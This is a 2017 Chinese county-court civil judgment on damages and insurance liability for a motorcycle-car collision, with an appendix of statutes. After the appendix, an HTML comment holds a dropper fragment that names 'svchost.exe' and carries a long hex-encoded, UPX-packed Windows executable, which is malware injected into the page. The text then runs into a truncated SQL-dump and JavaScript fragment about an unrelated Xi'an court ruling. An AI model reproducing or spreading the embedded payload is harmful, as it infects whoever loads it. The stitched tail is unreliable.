海南省昌江黎族自治县人民法院
p t ; ” > 民 事 判 决 书
（2017）琼9026民初870号
原告:符伟平，男，1992年10月21日出生，黎族，现住海南省昌江县。
委托诉讼代理人：陈超玺，海南信达律师事务所律师。
被告：林俊杰，男，1974年7月22日出生，汉族，现住海南省昌江县。
委托诉讼代理人：黄恒森，昌江县石碌法律事务所法律工作者。
被告：中国大地财产保险股份有限公司海南分公司，住所地：海南省海口市龙昆北路西侧22-1号。
负责人：吴毓枫，该公司总经理。
委托诉讼代理人：陈洁雯，该公司职员。
委托诉讼代理人：廖鹏，该公司职员。
原告符伟平与被告林俊杰、中国大地财产保险股份有限公司海南分公司（以下至判决主文前简称”大地保险公司”）机动车交通事故责任纠纷一案，本院于2017年7月11日立案后，原告符伟平向本院申请司法鉴定，本院依法委托鉴定机构进行了司法鉴定。本院于2017年12月20日依法适用普通程序，公开开庭进行了审理。原告符伟平的委托诉讼代理人陈超玺,被告林俊杰的委托诉讼代理人黄恒森，被告大地保险公司的委托诉讼代理人陈洁雯到庭参加诉讼。本案现已审理终结。
原告符伟平向本院提出诉讼请求：1.判令被告林俊杰赔偿原告医疗费、住院伙食补助费、营养费、误工费、护理费、残疾赔偿金、精神损害抚慰金、交通费共计1443892.91元；2.判令被告大地保险公司在机动车交通事故责任强制保险（以下简称”交强险”）及商业第三者责任保险（以下简称”商业三者险”）保险赔偿限额内承担赔偿责任；3.判令被告承担案件受理费及鉴定费。事实和理由：2017年1月30日2时10分，林俊杰驾驶×××号小型客车，从大修厂往人民政府方向行驶至人民北路矿建路口300米（三小路口）处时，适时遇有原告驾驶×××号普通摩托车载着符秀华、符桂兰二人，从人民政府水往头村方向行驶至人民北路矿建路口300米处时，由于林俊杰转弯时未确保安全行车，致使两车发生碰撞，造成原告受伤的道路交通事故。经认定，林俊杰负事故全部责任，原告无责任。根据法律规定及鉴定意见，原告因本次事故造成的损失如下：1.医疗费及后续治疗费，原告先后在昌江县人民医院、海口市人民医院、昌江县人民医院3次住院治疗70天，花去医疗费共计76160.91元，后续治疗费40000元。2.住院伙食补助费7000元（100元/天×70天）。3.营养费9000元（50元/天×180天）。4.护理费472592元（29537元/年×20年×80%）。5.误工费44700元（4500元/月÷30日×298天）。6.残疾赔偿金783440元（48596元/年×20年×80%）。7.精神损害抚慰金60000元（交强险限额内优先赔付）。8.交通费3000元。上述费用合计1495892.91元，扣减各被告支付的52000元，还以赔偿1443892.91元。因此，应由大地保险公司在保险限额范围内予以赔偿，不足部分由林俊杰承担。综上，请求法院判如所请。
被告林俊杰辩称，一、本案经昌江县公安局交通警察大队作出道路交通事故认定书，该事故认定书是合法有效的。认定书中已针对本次交通事故的责任承担和赔偿作出了调解结案，因此原告向法庭提出的诉讼请求应在认定书调解框架内予以起诉，超出部分不应支持；二、原告方向法庭起诉的诉讼请求标准过高，不符合法律规定；三、本次肇事车辆发生在保险期内，被告林俊杰所承担的赔偿责任应当在保险公司交强险及商业险范围内赔偿；四、本案发生后，被告林俊杰已垫付了人民币68000元及修理费5200元，该支付款项应由保险公司在保险范围内予以返还被告林俊杰。
被告大地保险公司辩称，一、大地保险公司不是侵权人，对原告不承担侵权赔偿责任，仅承担保险合同约定的保险责任。本案中，林俊杰驾驶的×××号车辆在大地保险公司投保交强险及500000元商业三者险及不计免赔，故大地保险公司只根据保险合同及相关法律规定，承担保险赔偿责任。二、大地保险公司作为保险人，只应在交强险及商业三者险责任限额范围内根据法律规定和保险合同约定予以确定。三、大地保险公司不承担本案的诉讼费、鉴定费。四、原告的各项诉请与事实和法律规定不符。1.医疗费，应当以提交的正规医疗票据为准，由法院审理后核实。2.后续治疗费，因未实际产生，应当待实际产生后再另行主张。3.住院伙食补助费，予以认可。4.营养费，应当按每天50元计算。5.护理费，原告提供的陪护服务协议书中没有记载陪护日期，且协议书中金额与收据金额不符，不予认可。护理应当按照居民服务业标准进行计算。6.误工费，原告未提供劳动合同、纳税证明等证据，因此，对原告主张月工资收入4500元不予认可。原告的误工损失，应按农林牧渔业标准进行计算。7.残疾赔偿金，原告提供的证据材料不足以证明其在深圳居住、工作满一年以上，因此，残疾赔偿金应按受诉法院所在地的农村标准计算。8.交通费，原告未提供与就医时间、地点、次数相符的交通费票据，不予认可。9.精神损害抚慰金，原告诉请过高，应适当减少。综上，请求法院查明事实，依法确定大地保险公司的赔偿责任。
本案当事人围绕诉讼请求依法提交了证据，本院组织当事人进行了举证、质证。原告向本院提交如下证据：1.交通事故认定书，证明原告因交通事故受伤，被告林俊杰承担事故全部责任；2.昌江县人民医院住院病历资料（2017年1月30日至2月4日）、收费票据、费用清单，3.海口市人民医院住院治疗病历资料（2017年2月4日至2月15日）、收费票据、费用清单，4.昌江县人民医院住院病历资料（2017年2月15日至4月10日）、收费票据、费用清单，共同证明原告因交通事故受伤接受治疗的基本情况及支出的医疗费用；5.陪护协议书、缴费收据，证明原告支出的护理费为每天160元；6.企业登记信息、工作证明、停发工资证明、银行卡交易明细，证明原告事故发生前在深圳工作，工资每月约4500元，原告的残疾赔偿金应按深圳当地的标准计算；7.鉴定费票据、门诊票据（当庭提交），8.鉴定费发票（当庭提交），共同证明原告因鉴定支出鉴定费用6443.3元；9.广东省2017人身损害赔偿标准、海南人身损害赔偿标准（当庭提交），证明原告常住地及工作地深圳的标准比海南的标准要高；10.司法鉴定意见书两份，证明原告经鉴定构成伤残、后续治疗费40000元及三期评定情况。被告林俊杰质证意见：对证据1真实性、合法性没有异议的，同时证明双方已就本次事故损害结果达成调解；对证据2、3、4三性没有异议；对证据5三性有异议，协议书形式不符合相关法律规定，不能够证实原告护理时间以及护理费标准为160元/天的事实，原告主张护理90多天均按照该标准，不符合规定；对证据6，对企业登记信息没有异议，对工作证明、停发工资证明有异议，对银行卡交易明细真实性没有异议，对证明内容有异议，该组证据并不能够证明原告在深圳工作的具体情况以及工资标准为每月4500元，同时残疾赔偿金不能按照深圳当地标准计算；对证据7、8三性无异议；对证据9，广东省2017年人身赔偿标准与本案无关，应当采纳海南省2016-2017年度人身损害赔偿标准的基数，按照农村户口作为本次计算残疾赔偿的标准；对证据10中，安宁医院鉴定意见，真实性无异议，对待证事实有异议，鉴定意见属于智能障碍，目前属于三级伤残，属于不确定性的伤残，同时他的鉴定是精神障碍的，是否按照机体性伤残赔偿有异议；对公平鉴定中心鉴定意见，对鉴定意见第二项没有异议，对第三项护理依赖为大部分护理依赖及护理人数为一人，对于原告以该标准向法院提出20年及80%标准计算护理费有异议。
被告大地保险公司质证意见：对证据1、2、3、4三性无异议；对证据5三性有异议，其中原告提供的缴费专用收据中缴费日期为2月6日，并没有写明其具体的护理日期、期限，而同时根据原告所提供的缴费收据中，金额共计1000元，按照协议书当中160元/天的标准，无法得出1000元整，因此难以确定原告具体护理天数，同时该份协议书中既没有符伟平的身份证号也没有记载具体的护理人员，同时原告没有举证其在协议书中签名的人与原告的亲属关系，因此对该证据三性不予认可；对证据6三性不予认可，原告提供的工作证明中显示证明时间为2016年3月至2017年1月，并不能证明工作在深圳市已满一年，而根据停发工资证明，该员工于1月30日发生交通事故即停发其工资，而根据原告所提供活期账户交易明细中，显示的交易明细为6月份才有工资收入，前后矛盾，而且根据明细中，2、3月份均进行了工资交易，因此存在前后矛盾迹象，同时交易明细中并未显示摘要中有显示工资的项目，因此难以确认交易明细中原告收入为工资，并且原告没有提供相应的居住证明来证明其居住在深圳，因此原告仅凭该证明不能证明原告在深圳居住工作满一年，不能按深圳标准计算；对证据7、8，不属于保险公司赔付范畴，门诊所支付费用中，因距离事故发生时间较长，且没有相应病历及其他证据辅助，因此难以确认该门诊费用的产生因本次交通事故造成；对证据9，与本案无关；证据10，对公平司法鉴定意见三性无异议，对安宁医院鉴定意见书有异议，该份鉴定书中，并未写明被鉴定人符伟平的身份证号，同时也未附符伟平病历及保险公联系人信息，所以该鉴定在场人没有保险公司以及被告林俊杰，因此难以确认本次鉴定过程程序合法。本院认为：原告提交的证据1、2、3、4是真实的，可以证明本案交通事故发生的过程、事故各方当事人的责任大小以及原告因本案交通事故受伤住院治疗并花去医疗费用等事实，本院予以确认。证据5是真实的，对该证据的真实性予以确认。证据6是真实的，对该证据的真实性予以确认。证据7、8是真实的，可以证明原告因鉴定而花去检查费、鉴定费等事实，本院予以确认。证据9是真实的，对该证据真实性予以确认。证据10是真实、合法的，可以证明原告因本案交通事故受伤所致伤残等级、后续治疗费、三期等情况，本院予以确认。被告林俊杰向本院提交如下证据：1.《收据》复印件，证明被告林俊杰已向原告现金支付10000元（由原告父亲符其安代收）的事实；2.《预交金专用票据》复印件9张，证明被告林俊杰已先行垫付原告医疗费用19000元的事实；3.《中国工商银行凭条》5张复印件，证明被告通过工商银行向原告支付18000元（由原告父亲符其安代收）的事实；4.《支付宝转账单》12笔复印件，证明被告林俊杰通过支付宝向原告支付21000元（由原告父亲符其安代收）的事实；5.《收款收据》复印件，证明肇事车辆×××，被告林俊杰已支付修理费5200元事实。原告质证意见：对证据1、2、3、4三性无异议，对证据5三性不予认可。被告大地保险公司质证意见：对证据1、2、3、4三性无异议；对证据5三性有异议，该证据开具时间为5月，距离事故有四个月时间，同时该收款收据没有加盖签章，并非正式票据，仅有摩托车车牌号，没有摩托车车架号，难以证明该摩托车修理费是修理费事故摩托车发生的费用。本院认为：被告林俊杰提交的证据1、2、3、4时真实、合法的，且经原告及被告大地保险公司质证无异议，本院予以确认。证据5并非正规发票，也没有加盖修理厂的公章，故该证据的证明内容不予确认。
被告大地保险公司未向本院提交证据。
根据当事人陈述和经审查确认的证据，本院认定法律事实如下：
2017年1月30日2时10分，林俊杰驾驶×××号小型客车，从昌江县石碌镇大修厂往人民政府方向行驶至人民北路矿建路口300米（三小路口）处时，适时遇有原告驾驶×××号普通摩托车（车上载着符秀华、符桂兰），从人民政府往水头村方向行驶至人民北路矿建路口300米处时，由于林俊杰转弯时未确保安全行车，致使两车发生碰撞，造成符伟平、符秀华、符桂兰受伤及两车不同程度损坏的道路交通事故。昌江县公安局交通警察大队对该起事故作出《道路交通事故认定书》（简易程序），认定林俊杰负事故全部责任，符伟平、符秀华、符桂兰无责任。事故发生后，符伟平于2017年1月30日至2月4日在昌江县人民医院住院治疗5天、于2017年2月4日至2月15日在海口市人民医院住院治疗11天、于2017年2月15日至4月10日又在昌江县人民医院住院治疗54天，花去医疗费共计75250.21元。海南省安宁医院精神疾病司法鉴定中心于2017年10月30日作出海安医精司鉴[2017]精司鉴字第175号《精神疾病司法鉴定意见书》。鉴定意见为：1.被鉴定人符伟平目前患有脑外伤所致精神障碍（智能损害）；2.被鉴定人符伟平目前属于三级伤残。海南公平司法鉴定中心于2017年12月11日作出琼公平鉴[2017]医鉴字第511号《司法鉴定意见书》。鉴定意见为：1.被鉴定人符伟平的后续治疗费用约需人民币40000元（肆万圆）；2.被告鉴定人符伟平”三期”综合评定为：误工期298日，护理期298日，营养期180日（自2017年1月30日起计算）；3.被鉴定人符伟平的护理依赖评为大部分护理依赖，护理人数原则为1人。为鉴定而产生的检查费143.3元，两次鉴定费用共计6300元。
符伟平为海南省农村户口，事故发生前在深圳市荣电创新技术有限公司工作未满一年，月平均工资收入约为3283.37元。林俊杰驾驶的×××号小型客车在大地保险公司投保交强险及500000元商业三者险（含不计免赔），事故发生时在保险期限内。在交警部门主持下，林俊杰、符桂兰、符秀华、符伟平父亲符其安达成如下调解协议：”1.符伟平、符秀华、符桂兰三人的入院治疗费，由林俊杰支付；2.两车损坏的维修费用，由林俊杰支付；3.林俊杰支付2000元（贰仟元人民币）给符秀华做为后续治疗费等；4.林俊杰支付2000元（贰仟元人民币）给符桂兰做为后续治疗费等；5.林俊杰支付20000元（贰万元人民币）给符伟平作为入院营养费等；6.四方不再因此事发生纠纷，就此结案。”调解协议书上符伟平的名字为其父亲符其安所签。
事故发生后，林俊杰通过垫付医疗费、转账等方式支付了68000元给原告符伟平。在（2017）琼9026民初1978号案中，符秀华因本次事故造成的损失为：1医疗费15091.19元；2.住院伙食补助费1900元；3.护理费3965.24元；4.误工费3867.78元。在（2017）琼9026民初1979号案中，符桂兰因本次交通事故造成的损失为：1.医疗费2151.16元；2.住院伙食补助费700元；3护理费566.46元；4.误工费1657.62元。
本院认为，本案系机动车交通事故责任纠纷。本案的争议焦点为：一、关于原告各项损失如何计算的问题。本案中，经本院审理确定原告的各项损失为：1.医疗费，根据原告提交的住院、门诊收费发票等证据，本院确定原告医疗费用为75393.51元。对于原告主张医疗费超出部分，本院不予支持。2.后续治疗费，根据鉴定意见，原告因本案交通事故受伤后续治疗费约为40000元，本院予以确认。被告大地保险公司认为后续治疗费尚未实际产生，应待实际发生后另行主张。该辩解意见理由不成立，本院不予采纳。3.住院伙食补助费，根据原告提交的住院病历等证据，本院确定原告住院时间为70天，故原告主张住院伙食补助费7000元（100元/天×70天）符合法律规定，本院予以支持。4.营养费，根据鉴定意见营养期为180天，结合伤情本院酌定营养费每天50元，故原告主张营养费9000元（50元/天×180天）符合法律规定，本院予以支持。5.护理费，根据鉴定意见原告因伤致精神障碍构成三级伤残，且护理依赖程度为大部分护理依赖，结合原告的年龄、身体健康状况等因素，本院酌定护理期限为10年，参照”其他服务业：29537元/年”标准计算，原告的护理费应为206759元（29537元/年×10年×70%）。对于原告主张护理费超出部分，本院不予支持。6.误工费，根据鉴定意见原告因伤构成三级伤残、大部分护理依赖，应认定为因伤致残持续误工，误工时间可以计算至定残日前一天，即272天（2017年1月30日至2017年10月29日）；结合原告提供的工资明细等证据，本院确定原告月平均工资为3283.37元，故原告误工费应为29769.22元（3283.37元/月÷30天/月×272天）。对于原告主张误工费超出部分，本院不予支持。7.残疾赔偿金，原告事故发生时为海南的农村户口，且事故发生时未能提供证据证明在深圳居住满一年以上，且有有固定工作或收入来源于城镇等事实，根据鉴定意见原告因伤致三级伤残，故原告的残疾赔偿应为189488元（11843元/年×20年×80%）。原告主张按广东省深圳市的赔偿标准计算，但提供的证据不足以证明其在深圳市居住、工作满一年以上等事实，应承担举证不能的不利后果，故对于原告主张残疾赔偿金超出部分，本院不予支持。8.精神损害抚慰金，根据鉴定意见原告因本案交通事故受伤致三级伤残，结合原告的年龄、身体健康状况等因素，本院酌定原告精神损害抚慰金为45000元。对于原告主张精神损害抚慰金超出部分，本院不予支持。9.交通费，原告虽未提供交通费发票等证据，但鉴于原告因伤3次住院治疗70天，并到海口进行伤残鉴定检查，必然产生一定的交通费用，结合原告住院时间、地点、次数等因素，本院酌情确定交通费为1500元。对于原告主张交通费超出部分，本院不予支持。综上，原告以上各项损失共计603909.73元。
二、关于本案赔偿责任如何承担的问题。本案中，交警部门认定被告林俊杰负事故全部责任，原告符伟平无责任，故原告符伟平的损失应由被告林俊杰承担赔偿责任。被告林俊杰辩称，本案在作出事故认定书时，已达成调解协议，应在调解协议约定的框架内予以赔偿，超出部分不应支持。本院认为，符伟平父亲符其安的签名属无权处分行为，亦未得到符伟平的追认，故调解协议的约定不是符伟平的真实意思表示，该调解协议无效。根据《中华人民共和国道路交通安全法》第七十六条、《最高人民法院关于审理道路交通事故损害赔偿案件适用法律若干问题的解释》第十六条、第二十二条之规定，由于被告林俊杰驾驶的×××号小型客车在被告大地保险公司交强险及500000元商业三者险，且本案交通事故造成符伟平、符秀华、符桂兰受伤，三人同时起诉至法院，故应按各自的损失比例确定保险赔偿数额。据此被告大地保险公司应在交强险医疗费用赔偿限额项下10000元范围内赔偿原告符伟平8687.99元〔131393.51元÷（131393.51元+16991.19元+2851.16元）×10000元〕，在交强险死亡伤残赔偿限额项下110000元范围内赔偿原告符伟平107707.54元〔472516.22元÷（472516.22元+7833.02元+2224.08元）×110000元〕。交强险赔偿不足部分487514.2元（603909.73元-8687.99元-107707.54元），由被告大地保险公司在商业三者险500000元限额范围内赔偿474411.73元〔487514.2元÷（487514.2元+21915.23元+4379.75元）×500000元〕。商业三者险赔偿不足部分13102.47元（487514.2元-474411.73元），由被告林俊杰承担。由于被告林俊杰已垫付了68000元给原告符伟平，故对于垫付款超出部分54897.53元，应予扣除并返还给被告林俊杰。综上，被告大地保险公司赔偿原告符伟平各项损失共计590807.26元，扣除被告林俊杰多垫付的54897.53元（该款由被告大地保险公司直接支付给被告林俊杰），还应赔偿原告符伟平535909.73元。对于原告符伟平主张的其他诉讼请求，本院不予支持。
综上所述，依照《中华人民共和国道路交通安全法》第七十六条第一款，《最高人民法院关于审理道路交通事故损害赔偿案件适用法律若干问题的解释》第十六条、第二十二条，《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》第十九条、第二十条、第二十一条、第二十二条、第二十三条、第二十四条、第二十五条，《最高人民法院关于确定民事侵权精神损害赔偿责任若干问题的解释》第一条、第十条、第十一条以及《最高人民法院关于适用<中华人民共和国民事诉讼法>的解释》第九十条规定，判决如下：
一、被告中国大地财产保险股份有限公司海南分公司在保险责任限额范围内赔偿原告符伟平各项损失共计535909.73元，限于本判决生效之日起十五日内一次性付清。
二、被告中国大地财产保险股份有限公司海南分公司在保险责任限额范围内支付被告林俊杰垫付款54897.53元，限于本判决生效之日起十五内一次性付清。
三、驳回原告符伟平的其他诉讼请求。
如果未按本判决指定的期间履行给付金钱义务，应当依照《中华人民共和国民事诉讼法》第二百五十三条规定，加倍支付迟延履行期间的债务利息。
案件受理费7319元，由被告林俊杰负担。鉴定费共计6300元，由原告符伟平负担900元，被告林俊杰负担5400元。
如不服本判决，可在判决书送达之日起十五日内，向本院递交上诉状，并按对方当事人的人数或者代表人的人数提出副本，上诉于海南省第二中级人民法院。
审判长张作骏
审判员韩泽雄
审判员杨裔婕
二〇一七年十二月二十六日
书记员徐金波
附：本案适用的相关法律条文
《中华人民共和国道路交通安全法》
第七十六条机动车发生交通事故造成人身伤亡、财产损失的，由保险公司在机动车第三者责任强制保险责任限额范围内予以赔偿；不足的部分，按照下列规定承担赔偿责任：
（一）机动车之间发生交通事故的，由有过错的一方承担赔偿责任；双方都有过错的，按照各自过错的比例分担责任。
（二）机动车与非机动车驾驶人、行人之间发生交通事故，非机动车驾驶人、行人没有过错的，由机动车一方承担赔偿责任；有证据证明非机动车驾驶人、行人有过错的，根据过错程度适当减轻机动车一方的赔偿责任；机动车一方没有过错的，承担不超过百分之十的赔偿责任。
交通事故的损失是由非机动车驾驶人、行人故意碰撞机动车造成的，机动车一方不承担赔偿责任。
《最高人民法院关于审理道路交通事故损害赔偿案件适用法律若干问题的解释》
第十六条同时投保机动车第三者责任强制保险（以下简称”交强险”）和第三者责任商业保险（以下简称”商业三者险”）的机动车发生交通事故造成损害，当事人同时起诉侵权人和保险公司的，人民法院应当按照下列规则确定赔偿责任：
（一）先由承保交强险的保险公司在责任限额范围内予以赔偿；
（二）不足部分，由承保商业三者险的保险公司根据保险合同予以赔偿；
（三）仍有不足的，依照道路交通安全法和侵权责任法的相关规定由侵权人予以赔偿。
被侵权人或者其近亲属请求承保交强险的保险公司优先赔偿精神损害的，人民法院应予支持。
第二十二条同一交通事故的多个被侵权人同时起诉的，人民法院应当按照各被侵权人的损失比例确定交强险的赔偿数额。
《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》
第十九条医疗费根据医疗机构出具的医药费、住院费等收款凭证，结合病历和诊断证明等相关证据确定。赔偿义务人对治疗的必要性和合理性有异议的，应当承担相应的举证责任。
医疗费的赔偿数额，按照一审法庭辩论终结前实际发生的数额确定。器官功能恢复训练所必要的康复费、适当的整容费以及其他后续治疗费，赔偿权利人可以待实际发生后另行起诉。但根据医疗证明或者鉴定结论确定必然发生的费用，可以与已经发生的医疗费一并予以赔偿。
第二十条误工费根据受害人的误工时间和收入状况确定。
误工时间根据受害人接受治疗的医疗机构出具的证明确定。受害人因伤致残持续误工的，误工时间可以计算至定残日前一天。
受害人有固定收入的，误工费按照实际减少的收入计算。受害人无固定收入的，按照其最近三年的平均收入计算；受害人不能举证证明其最近三年的平均收入状况的，可以参照受诉法院所在地相同或者相近行业上一年度职工的平均工资计算。
第二十一条护理费根据护理人员的收入状况和护理人数、护理期限确定。
护理人员有收入的，参照误工费的规定计算；护理人员没有收入或者雇佣护工的，参照当地护工从事同等级别护理的劳务报酬标准计算。护理人员原则上为一人，但医疗机构或者鉴定机构有明确意见的，可以参照确定护理人员人数。
护理期限应计算至受害人恢复生活自理能力时为止。受害人因残疾不能恢复生活自理能力的，可以根据其年龄、健康状况等因素确定合理的护理期限，但最长不得超过二十年。
受害人定残后的护理，应当根据其护理依赖程度并结合配置残疾辅助器具的情况确定护理级别。
第二十二条交通费根据受害人及其必要的陪护人员因就医或者转院治疗实际发生的费用计算。交通费应当以正式票据为凭；有关凭据应当与就医地点、时间、人数、次数相符合。
第二十三条住院伙食补助费可以参照当地国家机关一般工作人员的出差补助标准予以确定。
受害人确有必要到外地治疗，因客观原因不能住院，受害人本人及其陪护人员实际发生的住宿费和伙食费，其合理部分应予赔偿。
第二十四条营养费根据受害人伤残情况参照医疗机构的意见确定。
第二十五条残疾赔偿金根据受害人丧失劳动能力程度或者伤残等级，按照受诉法院所在地上一年度城镇居民人均可支配收入或者农村居民人均纯收入标准，自定残之日起按二十年计算。但六十周岁以上的，年龄每增加一岁减少一年；七十五周岁以上的，按五年计算。
受害人因伤致残但实际收入没有减少，或者伤残等级较轻但造成职业妨害严重影响其劳动就业的，可以对残疾赔偿金作相应调整。
《最高人民法院关于确定民事侵权精神损害赔偿责任若干问题的解释》
第一条自然人因下列人格权利遭受非法侵害，向人民法院起诉请求赔偿精神损害的，人民法院应当依法予以受理：
（一）生命权、健康权、身体权；
（二）姓名权、肖像权、名誉权、荣誉权；
（三）人格尊严权、人身自由权。
违反社会公共利益、社会公德侵害他人隐私或者其他人格利益，受害人以侵权为由向人民法院起诉请求赔偿精神损害的，人民法院应当依法予以受理。
第十条精神损害的赔偿数额根据以下因素确定：
（一）侵权人的过错程度，法律另有规定的除外；
（二）侵害的手段、场合、行为方式等具体情节；
（三）侵权行为所造成的后果；
（四）侵权人的获利情况；
（五）侵权人承担责任的经济能力；
（六）受诉法院所在地平均生活水平。
法律、行政法规对残疾赔偿金、死亡赔偿金等有明确规定的，适用法律、行政法规的规定。
第十一条受害人对损害事实和损害后果的发生有过错的，可以根据其过错程度减轻或者免除侵权人的精神损害赔偿责任。
《最高人民法院关于适用<中华人民共和国民事诉讼法>的解释》
第九十条当事人对自己提出的诉讼请求所依据的事实或者反驳对方诉讼请求所依据的事实，应当提供证据加以证明，但法律另有规定的除外。
<!--</div>
DropFileName=”svchost.exe”
WriteData=”4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B0','2018-09-28
09:20:44',0,'web',NULL),(28654358,'65565b0c-baba-48f7-ace6-a02bd0249996','$(function(){$(\"#con_llcs\").html(\"浏览：63次\")});$(function(){var
caseinfo=JSON.stringify({\"法院区县\":\"雁塔区\",\"法院ID\":\"3040\",\"DocContent\":\"\",\"审判程序\":\"一审\",\"文书全文类型\":null,\"案号\":\"（2015）雁民初字第07152号\",\"不公开理由\":null,\"法院地市\":\"西安市\",\"法院省份\":\"陕西\",\"上传日期\":\"\\\/Date(1451889845000)\\\/\",\"案件类型\":\"2\",\"文书ID\":\"65565b0c-baba-48f7-ace6-a02bd0249996\",\"案件名称\":\"上海浦东发展银行股份有限公司西安分行与李晓斌、西安中新荣景房地产开发有限公司金融借款合同纠纷一审民事裁定书\",\"法院名称\":\"西安市雁塔区人民法院\",\"补正文书\":\"2\",\"法院区域\":\"\",\"文书类型\":null,\"裁判日期\":null,\"结案方式\":null,\"效力层级\":null,\"文本首部段落原文\":\"\",\"诉讼参与人信息部分原文\":\"\",\"诉讼记录段原文\":\"本院在审理原告上海浦东发展银行股份有限公司西安分行诉被告李晓斌、西安中新荣景房地产开发有限公司金融借款合同纠纷一案中，原告上海浦东发展银行股份有限公司西安分行于2015年12月18日自愿向本院提出撤诉申请\",\"案件基本情况段原文\":\"\",\"裁判要旨段原文\":\"\",\"判决结果段原文\":\"\",\"附加原文\":\"\",\"文本尾部原文\":\"\"});$(document).attr(\"title\",\"上海浦东发展银行股份有限公司西安分行与李晓斌、西安中新荣景房地产开发有限公司金融借款合同纠纷一审民事裁定书\");$(\"#tdSource\").html(\"上海浦东发展银行股份有限公司西安分行与李晓斌、西安中新荣景房地产开发有限公司金融借款合同纠纷一审民事裁定书
（2015）雁民初字第07152号\");$(\"#hidDocID\").val(\"65565b0c-baba-48f7-ace6-a02bd0249996\");$(\"#hidCaseName\").val(\"上海浦东发展银行股份有限公司西安分行与李晓斌、西安中新荣景房地产开发有限公司金融借款合同纠纷一审民事裁定书\");$(\"#hidCaseNumber\").val(\"（2015）雁民初字第07152号\");$(\"#hidCaseInfo\").val(caseinfo);$(\"#hidCourt\").val(\"西安市雁塔区人民法院\");$(\"#hidCaseType\").val(\"2\");$(\"#HidCourtID\").val(\"3040\");$(\"#hidRequireLogin\").val(\"0\");});$(function(){var
dirData = {Elements: [\"RelateInfo\", \"LegalBase\"],RelateInfo: [{ name:
\"审理法院\", key: \"court\", value: \"西安市雁塔区人民法院\" },{ name: \"案件类型\", key:
\"caseType\", value: \"民事案件\" },{ name: \"案由\", key: \"reason\", value:
\"金融借款合同纠纷\" },{ name: \"审理程序\", key: \"trialRound\", value: \"一审\" },{ name:
\"裁判日期\", key: \"trialDate\", value: \"2015-12-18\" },{ name: \"当事人\", key:
\"appellor\", value: \"上海浦东发展银行股份有限公司西安分行,李晓斌,西安中新荣景房地产开发有限公司\" }],LegalBase:
[{法规名称:\'《中华人民共和国民事诉讼法》\',Items:[{法条名称:\'第一百四十五条\',法条内容:\'第一百四十五条
系统尚未收录或引用有误
\'}]}]};if ($(\"#divTool_Summary\").length > 0)
{$(\"#divTool_Summary\").ContentSummary({ data: dirData });}});$(function()
{\r\n var jsonHtmlData =
\"{\\\\\"Title\\\\\":\\\\\"上海浦东发展银行股份有限公司西安分行与李晓斌、西安中新荣景房地产开发有限公司金融借款合同纠纷一审民事裁定书\\\\\",\\\\\"PubDate\\\\\":\\\\\"2016-01-04\\\\\",\\\\\